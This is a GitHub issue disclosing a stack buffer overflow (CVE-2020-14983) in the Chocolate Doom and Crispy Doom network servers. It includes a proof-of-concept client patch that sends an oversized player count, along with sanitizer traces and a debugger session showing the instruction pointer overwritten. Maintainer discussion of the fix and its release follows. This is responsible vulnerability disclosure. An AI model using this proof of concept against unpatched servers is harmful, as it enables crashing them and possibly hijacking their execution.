New issue

Jump to bottom

Missing server-side num_players validation leading to buffer overflow #1293

Closed mmmds opened this issue on Jun 22, 2020 · 13 comments

Assignees

mmmds commented on Jun 22, 2020 • edited

Background

Version of Chocolate Doom:

- Chocolate Doom 3.0.0 (from the website)
- Chocolate Doom git revision `5bf73c4`
- confirmed also in: Crispy Doom 5.8.0

Operating System and version: Ubuntu 18.04 x86-64

Compilation: `CFLAGS="-fsanitize=address -ggdb -O0" LDFLAGS="-fsanitize=address" ./configure --prefix=` pwd `/bin`

Game: (Doom/Heretic/Hexen/Strife/other) FreeDM

Bug description

When the client starts the game, it sends its settings using the `NET_WriteSettings` function. The server receives and parses it in the `NET_ReadSettings` function. The settings packet consist of the `num_players` integer. This value is used as an maximum value while iterating over corresponding settings and writing them to the `player_classes` fixed sized (8 elements) array.

```
File: src/net_structrw.c
boolean NET_ReadSettings(net_packet_t *packet, net_gamesettings_t *settings)
{
    boolean success;
    int i;

    success = NET_ReadInt8(packet, (unsigned int *) &settings->ticdup)
(...)
           && NET_ReadInt8(packet, (unsigned int *) &settings->num_players)
(...)
    for (i = 0; i < settings->num_players; ++i)
    {
        if (!NET_ReadInt8(packet,
                          (unsigned int *) &settings->player_classes[i]))
        {
            return false;
        }
    }

    return true;
}
```

```
File: src/net_defs.h
#define NET_MAXPLAYERS 8
[...]
typedef struct
{
[...]

    int player_classes[NET_MAXPLAYERS];

} net_gamesettings_t;
```

The client can send any byte value and fill the packet with additional bytes to write outside the array and cause stack-based buffer overflow.

PoC:
Modified client's code:

```
--- a/src/net_structrw-b.c
+++ b/src/net_structrw.c
@@ -79,13 +79,16 @@ void NET_WriteSettings(net_packet_t *packet, net_gamesettings_t *settings)
     NET_WriteInt32(packet, settings->timelimit);
     NET_WriteInt8(packet, settings->loadgame);
     NET_WriteInt8(packet, settings->random);
-    NET_WriteInt8(packet, settings->num_players);
+    NET_WriteInt8(packet, settings->num_players+100);
     NET_WriteInt8(packet, settings->consoleplayer);

     for (i = 0; i < settings->num_players; ++i)
     {
         NET_WriteInt8(packet, settings->player_classes[i]);
     }
+    for (i = 0; i < 100; i++) {
+       NET_WriteInt8(packet, 0xaa);
+    }
 }
```

When all of the clients are connected and the owner starts the game, the server crashes.

```
./chocolate-server
./chocolate-doom -iwad ~/freedm.wad -window -nomouse -connect 127.0.0.1 -nodes 1
```

Chocolate Doom ASAN:

```
==22788==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff357bea94 at pc 0x560b7e6bfb06 bp 0x7fff357be9a0 sp 0x7fff357be990
WRITE of size 4 at 0x7fff357bea94 thread T0
    #0 0x560b7e6bfb05 in NET_ReadInt8 /home/mmm/projects/chocolate-doom-3.0.0/src/net_packet.c:78
    #1 0x560b7e6cb992 in NET_ReadSettings /home/mmm/projects/chocolate-doom-3.0.0/src/net_structrw.c:121
    #2 0x560b7e6c7656 in NET_SV_ParseGameStart /home/mmm/projects/chocolate-doom-3.0.0/src/net_server.c:921
    #3 0x560b7e6c91c3 in NET_SV_Packet /home/mmm/projects/chocolate-doom-3.0.0/src/net_server.c:1408
    #4 0x560b7e6ca87f in NET_SV_Run /home/mmm/projects/chocolate-doom-3.0.0/src/net_server.c:1813
    #5 0x560b7e6bf102 in NET_DedicatedServer /home/mmm/projects/chocolate-doom-3.0.0/src/net_dedicated.c:74
    #6 0x560b7e6bcf4e in D_DoomMain /home/mmm/projects/chocolate-doom-3.0.0/src/d_dedicated.c:45
    #7 0x560b7e6ba254 in main /home/mmm/projects/chocolate-doom-3.0.0/src/i_main.c:48
    #8 0x7f1b68c4fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x560b7e6ba0e9 in _start (/home/mmm/projects/chocolate-doom-3.0.0/bin-asan/bin/chocolate-server+0x60e9)

Address 0x7fff357bea94 is located in stack of thread T0 at offset 132 in frame
    #0 0x560b7e6c758a in NET_SV_ParseGameStart /home/mmm/projects/chocolate-doom-3.0.0/src/net_server.c:909

  This frame has 1 object(s):
    [32, 132) 'settings' <== Memory access at offset 132 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/mmm/projects/chocolate-doom-3.0.0/src/net_packet.c:78 in NET_ReadInt8
Shadow bytes around the buggy address:
  0x100066aefd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100066aefd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100066aefd20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100066aefd30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100066aefd40: 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00
=>0x100066aefd50: 00 00[04]f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100066aefd60: 00 00 00 00 f1 f1 f1 f1 04 f2 f2 f2 00 00 00 00
  0x100066aefd70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f2 f2 f2
  0x100066aefd80: f2 f2 f2 f2 00 f2 f2 f2 00 00 00 00 00 00 00 00
  0x100066aefd90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100066aefda0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==22788==ABORTING
```

Chocolate Doom without asan:

```
$ bin-clean/bin/chocolate-server
Chocolate Doom standalone dedicated server
zone memory: Using native C allocator.
Warning: Failed to resolve address for master server: master.chocolate-doom.org:2342
*** stack smashing detected ***: <unknown> terminated
Aborted
```

Chocolate Doom without stack protection:

```
$ gdb bin-clean/bin/chocolate-server
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bin-clean/bin/chocolate-server...done.
(gdb) r
Starting program: /home/mmm/projects/chocolate-doom-3.0.0/bin-clean/bin/chocolate-server
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Chocolate Doom standalone dedicated server
zone memory: Using native C allocator.
Warning: Failed to resolve address for master server: master.chocolate-doom.org:2342

Program received signal SIGSEGV, Segmentation fault.
0x000000aa000000aa in ?? ()
(gdb) i r
rax            0x5555557682a0   93824994411168
rbx            0xaa000000aa     730144440490
rcx            0x5555557601c0   93824994378176
rdx            0x0      0
rsi            0xffffffff       4294967295
rdi            0x7ffff7ff8170   140737354105200
rbp            0xaa000000aa     0xaa000000aa
rsp            0x7fffffffdee0   0x7fffffffdee0
r8             0xa84    2692
r9             0x7fffffffdd20   140737488346400
r10            0x7fffffffdce0   140737488346336
r11            0x246    582
r12            0xaa000000aa     730144440490
r13            0xaa000000aa     730144440490
```

```
r14            0xaa000000aa     730144440490
r15            0xaa000000aa     730144440490
rip            0xaa000000aa     0xaa000000aa
eflags         0x10202  [ IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) i stack
#0  0x000000aa000000aa in ?? ()
#1  0x000000aa000000aa in ?? ()
#2  0x000000aa000000aa in ?? ()
#3  0x000000aa000000aa in ?? ()
#4  0x000000aa000000aa in ?? ()
#5  0x000000aa000000aa in ?? ()
#6  0x000000aa000000aa in ?? ()
#7  0x000000aa000000aa in ?? ()
#8  0x000000aa000000aa in ?? ()
#9  0x000000aa000000aa in ?? ()
#10 0x000000aa000000aa in ?? ()
#11 0x000000aa000000aa in ?? ()
#12 0x000000aa000000aa in ?? ()
#13 0x000000aa000000aa in ?? ()
#14 0x000000aa000000aa in ?? ()
#15 0x000000aa000000aa in ?? ()
#16 0x000000aa000000aa in ?? ()
#17 0x000000aa000000aa in ?? ()
#18 0x000000aa000000aa in ?? ()
#19 0x000000aa000000aa in ?? ()
#20 0x000000aa000000aa in ?? ()
#21 0x000000aa000000aa in ?? ()
#22 0x000000aa000000aa in ?? ()
#23 0x000000aa000000aa in ?? ()
#24 0x000000aa000000aa in ?? ()
#25 0x000000aa000000aa in ?? ()
#26 0x00007ffff4dcabb0 in __pthread_init_array () from /lib/x86_64-linux-gnu/libpthread.so.0
#27 0x0000000000000000 in ?? ()
```

Crispy Doom ASAN

```
./chocolate-doom -iwad ~/freedm.wad -window -nomouse -connect 127.0.0.1 -nodes 1
./crispy-server
```

```
=================================================================
==13660==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0a90d2d4 at pc 0x55f3703f1acc bp 0x7ffc0a90d1e0 sp 0x7ffc0a90d1d0
WRITE of size 4 at 0x7ffc0a90d2d4 thread T0
    #0 0x55f3703f1acb in NET_ReadInt8 /home/mmm/projects/crispy-doom/src/net_packet.c:78
    #1 0x55f3703fecca in NET_ReadSettings /home/mmm/projects/crispy-doom/src/net_structrw.c:121
    #2 0x55f3703f9d11 in NET_SV_ParseGameStart /home/mmm/projects/crispy-doom/src/net_server.c:972
    #3 0x55f3703fc17b in NET_SV_Packet /home/mmm/projects/crispy-doom/src/net_server.c:1535
    #4 0x55f3703fdb8d in NET_SV_Run /home/mmm/projects/crispy-doom/src/net_server.c:1946
    #5 0x55f3703f0fd0 in NET_DedicatedServer /home/mmm/projects/crispy-doom/src/net_dedicated.c:75
    #6 0x55f3703ea30e in D_DoomMain /home/mmm/projects/crispy-doom/src/d_dedicated.c:45
    #7 0x55f3703e73a2 in main /home/mmm/projects/crispy-doom/src/i_main.c:78
    #8 0x7f1a51de3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x55f3703e6eb9 in _start (/home/mmm/projects/crispy-doom/bin-asan/bin/crispy-server+0x10eb9)

Address 0x7ffc0a90d2d4 is located in stack of thread T0 at offset 132 in frame
    #0 0x55f3703f9c1b in NET_SV_ParseGameStart /home/mmm/projects/crispy-doom/src/net_server.c:956

  This frame has 1 object(s):
    [32, 132) 'settings' <== Memory access at offset 132 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/mmm/projects/crispy-doom/src/net_packet.c:78 in NET_ReadInt8
Shadow bytes around the buggy address:
  0x100001519a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519a40: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00
=>0x100001519a50: 00 00 00 00 00 00 00 00 00 00[04]f2 f2 f2 00 00
  0x100001519a60: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100001519a70: 04 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519a80: 00 00 f1 f1 f1 f1 00 f2 f2 f2 f2 f2 f2 f2 00 f2
  0x100001519a90: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100001519aa0: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 f2 f2 f2 f2 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==13660==ABORTING
```

Fix proposition

```
diff --git a/src/net_structrw.c b/../chocolate-doom/src/net_structrw.c
index 2dbd274..437bc71 100644
--- a/src/net_structrw.c
+++ b/../chocolate-doom/src/net_structrw.c
```

```
@@ -116,7 +116,7 @@ boolean NET_ReadSettings(net_packet_t *packet, net_gamesettings_t *settings)
         return false;
     }

-    for (i = 0; i < settings->num_players; ++i)
+    for (i = 0; i < settings->num_players && i < NET_MAXPLAYERS; ++i)
     {
         if (!NET_ReadInt8(packet,
                           (unsigned int *) &settings->player_classes[i]))
```

found by Michał Dardas from LogicalTrust

fabiangreffrath self-assigned this on Jun 22, 2020

fabiangreffrath commented on Jun 22, 2020 Member

The fix is pretty straightforward, but I am only going to commit it once the CVE id has been assigned.

mmmds commented on Jun 23, 2020 Author

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14983

fabiangreffrath commented on Jun 23, 2020 Member

```
-    for (i = 0; i < settings->num_players; ++i)
+    for (i = 0; i < settings->num_players && i < NET_MAXPLAYERS; ++i)
```

I'd prefer to return `false` from the function `if (settings->num_players > NET_MAXPLAYERS)` so the connection isn't even established.

mmmds commented on Jun 23, 2020 Author

Sounds good to me.

fabiangreffrath commented on Jun 23, 2020 Member

The current behaviour if faulty configuration is encountered is not to fix it, i.e. put the corresponding variable into its own boundaries, but to `return false` from whatever function validated the game settings, e.g. `NET_ValidGameSettings()`. However, this returning of `false` is then not captured anywhere and the connection between client and server simply hangs.

This would be another incarnation of #875, but this bug is already there. With my approach of returning `false` at least it won't crash anymore and once a suitable solution for #875 is found, it will apply to this issue as well.

fabiangreffrath mentioned this issue on Jun 23, 2020

Missing client-side ticdup validation leading to FPE #1292

Closed

ioan-chera commented on Jun 24, 2020 Contributor

> The fix is pretty straightforward, but I am only going to commit it once the CVE id has been assigned.

Why wait for stuff like that and not fix it immediately if you know the solution?

fabiangreffrath commented on Jun 24, 2020 Member

Will commit today. I want the CVE id in the commit message so it's obvious which patch needs backporting, e.g. for Linux distributions.

fabiangreffrath commented on Jun 24, 2020 Member

And here it is: #1295

I decided to go with Michał's originally suggested fix, as this is the same approach used everywhere else in the code. For the `ticdup` FPE issue I decided to error out the hard way, because it is also possible to pass invalid `ticdup` values per `-dup` command line parameter and they are not checked anywhere yet.

vilhelmgray commented on Jun 24, 2020 Contributor

> Will commit today. I want the CVE id in the commit message so it's obvious which patch needs backporting, e.g. for Linux distributions.

I'm introducing Chocolate Doom to Gentoo Linux as a new package. Is a new release of Chocolate Doom containing this fix in the near future expected, or should I instead focus on backporting this patch for release version 3.0.0 instead?

fabiangreffrath commented on Jun 24, 2020 Member

I for my part will backport these patches to the Debian package.

vilhelmgray commented on Jun 24, 2020 Contributor

Thanks, I'll probably pull your backport then from the Debian package when you update it and use it for the Gentoo package.

fragglet closed this as completed in `f1a8d99` on Jun 24, 2020

fragglet commented on Jun 25, 2020 Member

3.0.1 is now released which includes the cherry-picked fix. Thanks to Fabian for coordinating the response here and to everyone else who helped.

jengelh commented on Jul 1, 2020 Contributor

3.0.1 was not marked as a release, so Github did not send notifications. (You can see that 3.0.1 appears differently on https://github.com/chocolate-doom/chocolate-doom/releases than 3.0.0.)

Assignees

fabiangreffrath

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

6 participants